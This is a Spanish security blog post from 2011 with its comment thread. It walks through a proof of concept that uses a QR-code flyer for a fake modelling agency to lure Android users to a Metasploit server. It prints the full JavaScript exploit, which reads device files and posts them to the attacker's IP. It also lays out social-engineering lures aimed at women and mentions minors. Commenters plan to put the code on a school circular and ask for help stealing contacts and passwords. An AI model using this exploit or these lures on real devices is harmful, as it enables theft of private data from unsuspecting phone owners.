PoC: Robar archivos de Android con Metasploit, un folio y un poco de salero
Buenas a todos, hace varias semanas, en concreto una antes del congreso No cON Name, mientras estaba preparándolo con Pablo, un amigo me enviaba por Twitter el siguiente artículo, en el que explicaban como mediante un sencillo código QR con una URL que redireccionaba un terminal móvil (con Android) a una IP y un Puerto donde se encontraba Metasploit escuchando, era posible recuperar información del móvil. Cómo me resultó curiosa la idea me dispuse a realizar una PoC.
Es curioso pensar que gracias a la tecnología actual con una simple hoja de papel (que contendrá el código QR) es posible hackear un terminal para obtener datos del mismo. Esto abre la puerta a los ingenieros sociales, que pueden utilizar todo tipo de tretas para, por ejemplo, conseguir información de móviles de menores, o en el caso de hoy, dándole un poco de humor al asunto, de chicas guapas (para demostrar lo que no se debe hacer, guiño guiño =)).
Todo lo que veréis a continuación es una prueba de concepto realizada en un entorno controlado en local.
En primer lugar necesitaremos una herramienta que nos genere un código QR, tenéis muchas por Internet. A continuación generaréis un código QR que contenga la dirección IP de la máquina donde dejaréis escuchando metasploit por el puerto 80, en mi caso como estoy en una intranet, la 192.168.1.23.
En segundo lugar deberéis escribir en un folio un texto de gancho (Ingeniería Social en su máximo esplendor), para conseguir que las víctimas piquen el anzuelo, y utilicen su terminal móvil con Android para leer el código QR del folio. En nuestro caso, me he inventado una supuesta agencia de modelos que busca azafatas para un congreso
Como dato curioso, algunas aplicaciones móviles que decodifican códigos QR, no preguntan tras leer códigos que contienen una URL, si el usuario desea acceder a ellas realmente, y te redirigen directamente al Sitio Web, este es el caso de la aplicación ScanLife, que facilita aún más nuestra estrategia para conseguir que la victima visite nuestra IP.
A continuación os dejo una imagen con mi documento:
El siguiente paso será montar Metasploit para que quede escuchando en la IP 192.168.1.23 por el puerto 80, con el exploit para Android del que hablábamos. Para ello yo he utilizado una VM con Backtrack 5 R1.
Una vez lanzada la distro, ejecutaremos Metasploit desde una shell:
Ahora cargaremos el módulo de Android con el que lanzaremos el ataque y le indicamos que queremos robar el siguiente archivo del móvil (si queréis lanzar otro tipo de ataque podéis ver las distintas opciones con el comando “show options”:
Indicamos al módulo que queremos que la víctima sea redirigida directamente a la raíz del servidor:
Y al puerto 80 (si no lo modificamos, por defecto está configurado en el 8080):
Ya solo nos falta arrancar el servidor con el exploit y esperar a una víctima:
Ahora toca realizar ingeniería social, repartiendo por las calles el panfleto de nuestra Agencia de Modelos Flu, buscando víctimas a las que robar sus datos.
Yo he sacrificado para la PoC mi HTC Desire, y he escaneado el código QR, en mi caso (como debería de ser en todas las APP que escaneen QR, aunque haya herramientas como ScanLife que se lo pasan por el forro) me preguntó el móvil antes de redireccionarme a la página sobre si quería realmente abrir el Sitio Web.
Tras aceptar la redirección, en el móvil pude ver una página Web totalmente blanca, cuya URL contenía gran cantidad de símbolos alfanuméricos. Me dispuse a editar el contenido del HTML con un editor que tengo en Android, y pude ver el siguiente código:
<html>
<body>
<script lang=javascript>
var target_files = Array('system/etc/hosts');
var results = new Array();
function addField(form, name, value) {
var hf = document.createElement('input');
hf.setAttribute('type', 'hidden');
hf.setAttribute('name', name);
hf.setAttribute('value', value);
form.appendChild(hf);
}
function uploadFiles(files) {
var form = document.createElement('form');
form.setAttribute('method', 'POST');
form.setAttribute('action', 'http://192.168.1.23:80/q');
var i = 0;
for (var fn in files) {
addField(form, 'f'+i, btoa(fn));
addField(form, 'd'+i, files[fn]);
i += 1;
}
document.body.appendChild(form);
form.submit();
}
for (var fn in target_files) {
fn = target_files[fn];
xh = new XMLHttpRequest();
xh.open('GET', fn, false);
xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
xh.send();
}
uploadFiles(results);
</script>
</body>
</html>
Si nos vamos ahora a la consola de Metasploit podremos ver como todo ha funcionado correctamente y ya he logrado obtener la información del móvil:
¿Creo que a partir de ahora os pensaréis dos veces antes de escanear un código QR desde el móvil verdad? }=P Últimamente veo mucho por el metro de Madrid, anuncios por las paredes de una conocida cadena de radio donde se publicitan mediante códigos QR, ¿será una estrategia para espiar las noticias que vamos a publicar en nuestros blogs? o eso solo ocurre en rtve…
Saludos!
| Imprimir artículo | Este artículo fue publicado por juanantonio.calles el septiembre 27, 2011 a las 12:01 am, y está archivado en POC. Sigue las respuestas a esta entrada a través de RSS 2.0. Puedes dejar un comentario o enviar un trackback desde tu propio sitio. |
¿Cómo será la red de mi casa?
hace 2 días - 1 comentario
Si algo nos gusta a los informáticos (o eso creo), es al menos en nuestra casa tener nuestras cosas configuradas a nuestro gusto. Estuve pensando que me gustaría tener en mi casa configurado, que servicios me gustaría tener y como me sentiría mas agusto. No tengo la creatividad del próximo creador de Terminators, Lorenzo Martínez, pero
Port-Knocking ó ¿Porn King?
hace 3 días - No hay comentarios
Hoy en día es necesario disponer de sistemas de seguridad para evitar los intentos de intrusión en nuestras máquinas y obtener privilegios sobre nuestros datos. Disponer de servicios que nos den accesos a nuestros datos de manera remota son muy útiles hoy en día, si estoy en la oficina y tengo algo en casa que
Informe Flu – 71
hace 5 días - No hay comentarios
Laboratorio de malware
hace 1 semana - 2 comentarios
Llevo muchos días preparando dos presentaciones relacionadas con temas de malware, cuando te dedicas a hacer ingeniería inversa, haciendo análisis estático de malware o símplemente realizar un análisis dinámico del sample, requiere, o al menos es importante, el tener un laboratorio montado para realizar estas pruebas. Haré una serie de artículos de como montar
Videotutorial sobre Wikto
hace 1 semana - No hay comentarios
Buenas a todos, en el post de hoy os traemos un videotutorial acerca de la herramienta Wikto, en el que probaremos esta herramienta contra el panel de control Web de Flu. Wikto es una aplicación desarrollada por Sensepost, con la que podremos desde localizar directorios, ficheros o la huella del servidor hasta localizar varias de las vulnerabilidades más
Listado de ExploitPacks
hace 1 semana - 1 comentario
Un kit de explotación, o exploit kit o exploit pack, es una recopilación de exploits, ya conocidos o no, que se usa para infectar a un usuario final, mediante ingeniería social, ataques drive-by explotando vulnerabilidades. Los kits de explotación suelen venderse en el mercado negro, sobre precios asequibles, por ejemplo: $ 200 x 1 semana
Informe Flu – 70
hace 1 semana - 2 comentarios
Comenzamos con el resumen de la semana: Lunes 30 de Abril El lunes hablamos sobre la interesante ponencia de David Moreno en la Guadalajaracon: Cazando Predadores en Internet (Guadalajaracon) Martes 1 de Mayo El martes publicamos la Nueva versión de Flu b0.5.2, en la que se hicieron varias mejoras orientadas a fortificar la seguridad del panel
Un Forense llevado a juicio (IV de X)
hace 2 semanas - 4 comentarios
Comunicaciones seguras – Retroshare
hace 2 semanas - No hay comentarios
Es increíble las facilidades que se ofrecen cada día mas, la cantidad de proyectos Open Source que existen, es una pasada. Hoy os vengo a hablar sobre un proyecto que, la verdad me ha dejado impresionado de la potencia del proyecto. Este proyecto se basa en comunicaciones seguras, se trata de Retroshare, este proyecto contiene
Informe Flu – 69
hace 2 semanas - No hay comentarios
Comenzamos con el resumen de la semana: Lunes 23 de Abril El lunes Juan Luis G. Rambla continuó con el tercer post de su cadena de diez artículos sobre su experiencia como Analista Forense en juicios, ¡no os la perdáis!: Un Forense llevado a juicio (III de X) Martes 24 de Abril El martes publicamos los dos
.png)













hace 7 meses
Como no entiendo mucho de metasploit ni de backtrak te formulo la siguiente pregunta:
Se podria poner en una pagina (cualquiera) un iframe con la con src=”192.168.1.23″ asi hacemos que el visitante no sospite demasiado. Se capturarian los datos al ser un iframe?
Si no se me entiende decidmelo, he intentado explicarlo lo mejor posible
hace 7 meses
Si, pero para eso la web tiene que ser vulnerable a iframe injection.
Saludos
hace 7 meses
Bueno yo me refería simplemente a que sea propia.
hace 7 meses
Vale que es un tema relativamente nuevo, pero si podeis ponernos un enlace, que ya hablamos nosotros de ello… http://blog.vidasconcurrentes.com/android/obteniendo-informacion-de-dispositivos-android-con-metasploit/
hace 7 meses
Como estas cosas siempre hay que probarlas y ya que formo parte del consejo de alumnos de mi instituto,la próxima circular llevará como novedad un código QR para ver “mas información”.
SOLO como prueba de concepto =)
Muy bueno Juanan!
hace 7 meses
Cuidado con las PoC, que cuando haces PoC, ya no hay STOP XD, no acabes la noche con un pijama a rayas.
hace 7 meses
ok!, me iba al caso de explotar vulnerabilidades
. Si debería funcionar sin problemas, es código ejecutado en el navegador igualmente.
saludos!
hace 7 meses
Aquí hace tiempo hice una demo de como conseguir info de android usando metasploit
http://www.metasploiter.com/2011/02/videotutorial-metasploit-auxiliary.html
Un saludo
hace 1 mes
¿si escribimos “set FILES /data/cache/basededatosguay.bd” donde se guardaria la basededatosguay.bd en la máquina atacante?
hace 1 mes
donde veo los resultados en la maquina atacante?
hace 1 mes
En la propia consola de Metasploit.
saludos
hace 1 mes
pero juanantonio.calles no habria ninguna forma de guardar los archivos en la maquina atacante?
hace 1 mes
yo tengo mi android rooteado para poder sacarle mas informacion como por ejemplo los contactos o culquier otra cosa pero al escanear el codigo qr lo unico que me manda es la informacion del android el modelo del mobil pero no me da la informacion que segun yo le saque que es la de
los contactos
hace 1 mes
estoy tratando de sacarle esto /data/data/com.android.probiders.contacts/contacts.db y al escanear el codigo qr no me manda eso me manda algo parecido a lo de la imagen solo datos del mobil
hace 1 mes
@jlgr8 por las pruebas que he realizado por casa con los cacharros que tengo con Android, a partir de versiones superiores a la 2.3, deja de funcionar el exploit (el exploit tiene ya año y pico). Verás entonces el texto “sending payload” y después no recupera ningún archivo. Lo único que efectivamente verías es la versión y modelo que lo recupera al realizar la conexión con el servidor que monta metasploit.
Saludos
hace 1 mes
como pudo ver algo mas siempre keda en sending payload y no me muestra mas informacion solo la del mobil modelo vercion idioma etc pero no la que yo le pido!
hace 1 mes
entonces que tengo que hacer¿
ayudenmee!!
hace 1 mes
mi android es
firmware 2-1 uptade1
kernel 2.6.29
compilacion 2.1.1.a.06
hace 1 mes
Por versión parece que no es, porque las pruebas que he hecho con mi Android más antiguo (2.2.1) ha funcionado sin problemas. ¿Has comprobado que el móvil llegue a descargarse el payload?
hace 1 mes
pues nose eso son los datos que me salen como podria saber que android es? lo unico que veo son los datos que te puse!
el firmware
el kernel
pero no hay un lugar que me confirme que es android 2.1
hace 1 mes
tu haz logrado sacarle alguna informacion al android
como contactos,numeros,contraseñas nose algo asi?
esque lo necesito para una practica que estoy haciendo
hace 1 mes
nunca ah pasado del sending payload siempre queda hay
tu ya lo graste sacar informacion del mobil como por ejemplo contraseñas contactos¿ algo?
hace 1 mes
para empezar mi android es un sony erickson xperia x10 mini pro
firmware 2-1 uptade1
kernel 2.6.29
compilacion 2.1.1.a.06
hace 1 mes
no nunca eh comprobasdo tienes msn?
hace 1 mes
lei que el android 2.0 y el 2.1 estan basados en el kernel 2.6.29 y ese es el kernel ke tiene mi mobil
hace 1 mes
ya vi que mi android es 2.1 y aqui el de la imagen dice android 2.2 porque si se puede con ese y cn el mio solo queda en sending payload
hace 1 mes
Hola @jlgr8, intenta juntar los comentarios en uno la próxima vez, por favor, para no alargar mucho el hilo. Tampoco hace falta que nos hagas la misma pregunta en youtube y aquí, con una que nos hagas una lo leemos (nos llega un email por cada comentario en todas las redes) y en cuanto podamos contestaremos.
Volviendo al tema, intenta hacer una captura de pantalla a la consola de msf en la que se vea la ejecución completa, a ver si así podemos ver que puede estar pasando.
saludos
hace 1 mes
hola juanantonio.calles
te paso un video de lo que me pasa espero lo veas y me puedas ayudar
http://youtu.be/d_nHqhVo3IA
cualquiera que pueda ayudarme se lo agradecere!!
hace 4 semanas
juanito hay deje un video espero lo veas y me puedas ayudar!
hace 2 días
ayudame juanitoo!! tu pudiste sacar informacion del android como conttraseñas o alguna informacion valiosa es para un proyecto que tengo en la escuela espero alguien me pueda ayudar hhay deje el video de lo que hace mi android saludos
hace 2 días
Lo siento, no se que te puede ocurrir
saludos
hace 1 día
ah ok gracias juanito, tu no tienes videos donde logres hacer la practica completa pero sacando informacion del android como contactos o contraseñas? espero me ayudes es importante para mi lograr esta practica ya que es para mi escuela y ya me queda poco tiempo